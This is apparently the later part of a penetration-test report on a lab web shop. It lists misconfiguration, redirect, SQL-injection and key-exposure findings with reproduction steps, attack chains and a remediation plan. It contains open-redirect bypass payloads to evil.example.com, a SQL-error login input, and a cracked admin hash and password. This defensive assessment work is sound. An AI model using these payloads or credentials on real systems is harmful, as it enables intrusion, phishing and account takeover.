Add a strict Content-Security-Policy, plus HSTS, Referrer-Policy, Permissions-Policy and COEP/COOP. Remove the deprecated Feature-Policy.

AP-015

Wildcard CORS policy on the application and API

MEDIUM FIRM FIX EFFORT: LOW

Category	A02:2025 Security Misconfiguration · API8:2023 Security Misconfiguration (CWE-942)
Affected	`https://shop.example.com/`

Every response returns Access-Control-Allow-Origin: * , so any website can read API responses cross-origin.

REPRODUCTION

1. curl -sD - https://shop.example.com/ — Access-Control-Allow-Origin: * on all responses. ZAP flags Cross-Domain Misconfiguration.

EVIDENCE

Wildcard CORS header

```
Access-Control-Allow-Origin: *
```

IMPACT — A malicious page can call the API from a victim's browser and read the responses. Credentials are Bearer, so impact is limited to what an origin can already send, but it widens the attack surface.

WHY MEDIUM — Broad misconfiguration but not directly credential-stealing here, so Medium.

REMEDIATION · LOW EFFORT

Replace the wildcard with an explicit allowlist of trusted origins; do not reflect arbitrary Origin.

AP-016

Prometheus metrics exposed without authentication

MEDIUM FIRM FIX EFFORT: LOW

Category	A02:2025 Security Misconfiguration · API9:2023 Improper Inventory Management (CWE-200)
Affected	`https://shop.example.com/metrics`

/metrics serves a full Prometheus exposition (text/plain; version=0.0.4) to anyone, disclosing internal runtime and route detail.

REPRODUCTION

1. GET /metrics -> HTTP 200, Prometheus metrics. nuclei prometheus-metrics (medium) matches.

EVIDENCE

Metrics endpoint content type

```
Content-Type: text/plain; version=0.0.4; charset=utf-8
```

IMPACT Leaks operational internals (routes, counts, process metrics) useful for reconnaissance.

WHY MEDIUM Information disclosure with no direct compromise, so Medium.

REMEDIATION · LOW EFFORT

Require authentication on /metrics or bind it to an internal-only interface.

AP-017

Full application configuration served unauthenticated

MEDIUM FIRM FIX EFFORT: LOW

Category	A02:2025 Security Misconfiguration · API9:2023 Improper Inventory Management (CWE-200)
Affected	`https://shop.example.com/rest/admin/application-configuration`

GET /rest/admin/application-configuration returns the entire application config (23 KB) to any unauthenticated caller despite the admin path.

REPRODUCTION

1. GET /rest/admin/application-configuration -> HTTP 200, full config JSON, no auth.

EVIDENCE

Admin-named config endpoint reachable unauthenticated

```
GET /rest/admin/application-configuration -> 200 (23577 bytes, unauthenticated)
```

IMPACT Discloses feature flags, challenge/CTF settings and app internals that aid further attacks.

WHY MEDIUM Config disclosure, no direct takeover, so Medium.

REMEDIATION · LOW EFFORT

Require an admin session for the configuration endpoint, or strip sensitive keys from the public payload.

AP-018

Numerous known-vulnerable JavaScript dependencies

MEDIUM FIRM FIX EFFORT: HIGH

Category	A03:2025 Software Supply Chain Failures (CWE-1104)
Affected	`https://shop.example.com/ftp/package-lock.json.bak`

The recovered lockfile (storefront 6.2.0-SNAPSHOT, 1968 packages) audits to 185 vulnerabilities via npm audit (45 critical, 79 high) and 329 advisories via osv-scanner.

REPRODUCTION

1. Recover package-lock.json.bak via the null-byte bypass (AP-010).
2. npm audit --package-lock-only -> 185 vulns (45 critical, 79 high, 53 moderate, 8 low).
3. osv-scanner -> 329 advisories across 144 packages.

EVIDENCE

npm audit summary over the recovered lockfile

```
{"low":8,"moderate":53,"high":79,"critical":45,"total":185}
```

IMPACT A large vulnerable dependency surface. Exact exploitability depends on the running build, not the snapshot manifest.

WHY MEDIUM Provenance caveat — the .bak manifest is a 6.2.0-SNAPSHOT and may predate the running v20.1.1, so firm/Medium not confirmed-exploited.

REMEDIATION · HIGH EFFORT

Upgrade dependencies to patched versions and add automated SCA (npm audit / osv-scanner) to CI.

AP-019

Open redirect via /redirect?to=

MEDIUM CONFIRMED FIX EFFORT: LOW

Category	A01:2025 Broken Access Control (CWE-601)
Affected	`https://shop.example.com/redirect?to=`

/redirect requires an allowlisted URL substring, but appending an allowlisted URL as a query parameter (or using userinfo @) redirects to an attacker host.

REPRODUCTION

1. GET /redirect?to=http://evil.example.com -> 406 (blocked).
2. GET /redirect?to=http://evil.example.com?x=https://github.com/example-commerce/storefront -> 302 to evil.example.com.

3 GET /redirect?to=https://blockchain.info/...@evil.example.com -> 302 Location: ...@evil.example.com.

EVIDENCE

Redirect to the attacker host after the allowlist bypass

```
HTTP/1.1 302 Found
Location: https://blockchain.info/address/1AbKfgvw9psQ41NbLi8kufDQTezwG8DRZm@evil.example.com
```

IMPACT Phishing and OAuth-style token-theft redirect chains using the trusted domain as the initial link.

WHY MEDIUM Confirmed redirect to an external host, but user-interaction dependent, so Medium.

REMEDIATION · LOW EFFORT

Redirect only to a fixed internal allowlist of exact paths; do not accept full external URLs.

AP-020

Application served over cleartext HTTP

LOW FIRM FIX EFFORT: LOW

Category	A04:2025 Cryptographic Failures (CWE-319)
Affected	`https://shop.example.com/`

The service listens on plain HTTP with no TLS and no HSTS. Credentials and tokens travel in cleartext.

REPRODUCTION

1 openssl s_client -connect shop.example.com -> 'wrong version number', no certificate: no TLS listener.

EVIDENCE

No TLS listener on the service port

```
801EE5F301000000:error:0A00010B:SSL routines:tls_validate_record_header:wrong version number
no peer certificate available
```

Shortened. The full capture is retained with the assessment record.

IMPACT On a routed network this exposes credentials and tokens to interception. Here the target is loopback-only, so real-world exposure is limited — on a public deployment this would be High.

WHY LOW Cleartext is a real weakness but the tested instance is loopback-only, so Low with the public-deploy caveat noted.

REMEDIATION · LOW EFFORT

Terminate TLS in front of the app, redirect HTTP to HTTPS, and set HSTS.

AP-021

Verbose error pages leak stack traces and internal paths

LOW CONFIRMED FIX EFFORT: LOW

Category	A10:2025 Mishandling of Exceptional Conditions (CWE-209)
Affected	`https://shop.example.com/rest/user/login`

Triggering a SQL error returns an HTML 500 page with a full Sequelize stack trace, including absolute server file paths under /srv/storefront/node_modules.

REPRODUCTION

1. POST /rest/user/login {email:"x'"} -> HTTP 500 with SequelizeDatabaseError and node_modules/sequelize paths.

EVIDENCE

Internal paths disclosed in the 500 error

```
at /srv/storefront/node_modules/sequelize/lib/dialects/sqlite/query.js:183:50
at /srv/storefront/node_modules/sequelize/lib/sequelize.js:315:28
```

Shortened. The full capture is retained with the assessment record.

IMPACT Discloses framework, ORM, dialect and filesystem layout, aiding targeted exploitation.

WHY LOW Information disclosure only, so Low.

REMEDIATION · LOW EFFORT

Return generic error pages; log details server-side only. Disable stack traces in production.

AP-022

Software version and internal path disclosed in responses

LOW FIRM FIX EFFORT: LOW

Category	A02:2025 Security Misconfiguration (CWE-200)
Affected	`https://shop.example.com/rest/admin/application-version`

The exact application version (20.1.1) is served unauthenticated, and a custom X-Recruiting header leaks the /#/jobs path.

REPRODUCTION

1. GET /rest/admin/application-version -> {"version":"20.1.1"}. Root response includes X-Recruiting: /#/jobs.

EVIDENCE

Version endpoint and recruiting header

```
{"version":"20.1.1"}
X-Recruiting: /#/jobs
```

IMPACT Lets an attacker match the exact version to known issues without probing.

WHY LOW Minor reconnaissance aid, so Low.

REMEDIATION · LOW EFFORT

Do not expose an unauthenticated version endpoint; remove the custom X-Recruiting header.

AP-023

No rate limiting on the login endpoint

LOW FIRM FIX EFFORT: LOW

Category	A07:2025 Authentication Failures · API4:2023 Unrestricted Resource Consumption (CWE-307)
Affected	`https://shop.example.com/rest/user/login`

Ten rapid failed logins all returned 401 with no throttling, lockout or 429. The endpoint allows unlimited credential guessing.

REPRODUCTION

1. 10x POST /rest/user/login with a bad password -> ten 401s, no 429.

EVIDENCE

Ten rapid login attempts, no throttling

```
401 401 401 401 401 401 401 401 401 401 (no 429 => no rate limiting on login)
```

IMPACT Enables brute-force and credential-stuffing. Lower impact here because SQLi/JWT already bypass auth.

WHY LOW Real gap but overshadowed by the auth-bypass findings and no lockout risk demonstrated, so Low.

REMEDIATION · LOW EFFORT

Add per-account and per-IP rate limiting with exponential backoff on the login endpoint.

AP-024

No server-side cap on collection endpoints

LOW FIRM FIX EFFORT: LOW

Category	A02:2025 Security Misconfiguration · API4:2023 Unrestricted Resource Consumption (CWE-770)
Affected	`https://shop.example.com/api/Users`

/api/Users returns the entire collection with no pagination or page-size cap enforced server-side.

REPRODUCTION

1. GET /api/Users -> all 26 users in one response, no limit parameter enforced.

EVIDENCE

Full collection returned in one call

```
no limit: 26 (returns all users, no server-side page cap)
```

IMPACT Large result sets in one call; a resource-consumption and mass-disclosure amplifier when paired with the BFLA/BOLA findings.

WHY LOW Minor on this small dataset, so Low.

REMEDIATION · LOW EFFORT

Enforce a maximum page size on list endpoints and require pagination.

AP-025

Cryptographic key directory exposed at /encryptionkeys

LOW FIRM FIX EFFORT: LOW

Category	A02:2025 Security Misconfiguration (CWE-200)
Affected	`https://shop.example.com/encryptionkeys/`

/encryptionkeys is an open directory listing serving jwt.pub and premium.key to anyone.

REPRODUCTION

1. GET /encryptionkeys -> autoindex with jwt.pub and premium.key (both 200).

EVIDENCE

Exposed key directory listing

```
encryptionkeys/jwt.pub
encryptionkeys/premium.key
```

IMPACT jwt.pub is a public key (low sensitivity), but premium.key and the open listing reveal key-management detail that should not be web-served.

WHY LOW Mostly public/low-sensitivity material exposed, so Low.

REMEDIATION · LOW EFFORT

Remove the directory from the web root; never serve key material or expose an autoindex.

Section 4

Attack chains

> Only chains we walked end to end with real requests. Where a step could not be completed at the agreed depth, the chain is marked potential and the unproven step named.

CHAIN-1 Unauthenticated SQLi -> dump users -> crack unsalted MD5 -> log in as admin

WALKED END TO END

AP-002 → AP-011

A UNION injection on /rest/products/search returned all 26 users with their unsalted MD5 hashes (AP-002). The admin hash 0192023a7bbd73250516f069df18b500 equals md5('admin123'), recovered offline (AP-011). Logging in with admin@shop.example.com / admin123 through the normal login form returned HTTP 200 and a valid admin JWT. Every step was performed and its request/response saved.

CHAIN-2 Open /ftp -> download the KeePass vault -> offline master-password crack

POTENTIAL

AP-010

The /ftp listing exposes incident-support.kdbx, downloaded and verified as a KeePass 2 database (magic 03d9a29a, 3246 bytes). The realistic next step is an offline master-password crack to recover the incident-support credentials inside. That crack was NOT run, so the final step is unproven — this chain is potential, not verified.

Section 5

Leads and manual review

Things we noticed but could not prove. A lead is not a smaller finding — it is an open question, so leads never count towards the totals. Each one names what to check.

LEAD-1 KeePass vault not cracked

incident-support.kdbx was recovered and confirmed as a KeePass 2 database, but no offline master-password crack was attempted, so the credentials inside are unconfirmed (see CHAIN-2).

WHY UNCONFIRMED

Running a password crack against the vault was out of scope for this pass and its success is not guaranteed.

WHAT YOU SHOULD CHECK

Decide whether an offline crack of the recovered .kdbx is in scope for a follow-up.

LEAD-2 Server-side dependency versions not directly observable

SCA ran against a recovered 6.2.0-SNAPSHOT .bak manifest, not the running build. The 185/329 advisory counts are indicative, not a confirmed bill of materials for the live v20.1.1.

WHY UNCONFIRMED

The running server does not expose its actual installed dependency versions; only a stale snapshot manifest was recoverable.

WHAT YOU SHOULD CHECK

Provide the current lockfile / SBOM so the dependency audit reflects the deployed build.

Section 6

Summary and conclusions

The assessment in plain terms, for the reader with time for one section.

The application is exploitable end to end. Three Critical and eight High findings give an unauthenticated attacker full administrator access by four independent routes.

POSTURE **Weak** Core controls are missing or failing. Address before further exposure.

3	8	8	6	0
CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL

2 open leads, not counted above · 42 checks run, 3 passed clean

Almost nothing held up. Authentication can be skipped entirely: a one-line SQL injection on the login form returns an admin session with no password, an unsigned JWT is accepted as valid, an admin account can be self-created through the registration API, and a working admin login is printed in the public JavaScript bundle. Any one of these gives full control.

Data protection is no better. A second SQL injection in the product search returns every account with its password hash; the hashes are unsalted MD5, so the admin password cracked to admin123 offline in one step. A logged-in customer reads other users' baskets and the whole user list, and the file store at /ftp hands out a KeePass vault and source manifests once a null-byte trick defeats the extension filter.

The rest of the surface is soft in the ways that make the above worse. Script runs in the browser through a DOM-XSS with no Content-Security-Policy to contain it, the XML upload reads local files, the profile-image feature fetches attacker URLs server-side, and the API leaks its configuration, metrics and stack traces without authentication.

Every weakness above was confirmed by exploitation with a saved request and response behind it, and the two most damaging paths were walked end to end. Nothing in this report rests on a tool's say-so.

What held up

Controls we tested directly and found working.

- **The authentication primitive exists** — Endpoints like /rest/wallet/balance return 401 without a token and 200 with one — the token check runs; it is the object- and function-level checks on top of it that fail.
- **No user enumeration on login** — A valid email with a wrong password and an unknown email both return 401, so the login does not reveal which accounts exist.
- **Host header not trusted** — A spoofed Host header was not reflected into responses; no host-header injection was found.

What to fix, in order

Ranked by what we would do first, not strictly by severity.

1. **Parameterise every SQL query and stop building SQL from request input.**
   Closes both the login auth-bypass and the user-table extraction at once.
   AP-001 AP-002 LOW EFFORT

2. **Fix JWT verification: reject alg:none, pin RS256, require a valid signature, and add an expiry.**
   Removes the no-secret token forgery and the never-expiring token.
   AP-003 AP-013 MEDIUM EFFORT

3. **Enforce object- and function-level authorization on every basket, user and admin endpoint.**
   Stops customers reading other accounts and calling admin functions.
   AP-005 AP-006 AP-007 MEDIUM EFFORT

4. **Remove the hardcoded test credential and the /ftp and /encryptionkeys directories from the web root.**
   Deletes a public admin login and a served credential store.
   AP-004 AP-010 AP-025 LOW EFFORT

5. **Add a strict Content-Security-Policy and stop passing input through bypassSecurityTrustHtml.**
   Neutralises the DOM-XSS and adds defence-in-depth for the rest.
   AP-008 AP-014 MEDIUM EFFORT

IN SHORT

Nothing here is safe to expose. The fastest wins are parameterising the two SQL queries and fixing JWT verification, which between them close all three Criticals. The rest is ordinary hardening, and the order to do it in is above.

Report reference APR-5A3C71E90B24

Appendix

> What the target runs, the tools we used, and how we handled data.

Tools used

Including tools we deliberately did not run, and why.

TOOL	VERSION	USED FOR
httpx	1.10.0	Host probing and technology fingerprinting
wafw00f	2.4.2	WAF/CDN detection (none present)
openssl	3.6.3	TLS-listener probe (confirmed HTTP-only)
ffuf	2.1.0-dev	Content and endpoint discovery
nuclei	3.7.1	Templated exposure/misconfig checks routed by tags
OWASP ZAP	stable (Docker)	Passive DAST baseline
sqlmap	1.10.7	Confirming the search-parameter SQL injection (UNION/SQLite)
Playwright	chromium	Executing the DOM-XSS payload in a real browser
osv-scanner	2.4.0	SCA over the recovered lockfile
npm audit	11.5.2	SCA over the recovered lockfile
gitleaks	8.30.1	Secret scanning of target-derived files
katana NOT RUN	1.6.1	Not used for the full crawl — hangs on the Angular bundle; surface derived from the JS bundle instead

Notes

Intrusive tier. One throwaway admin account (id 27) was created by the mass-assignment proof and could not be removed, because the application refuses user deletion; it is reported above for the customer to delete. No other data was created or modified. Three tool false positives were discarded in verification.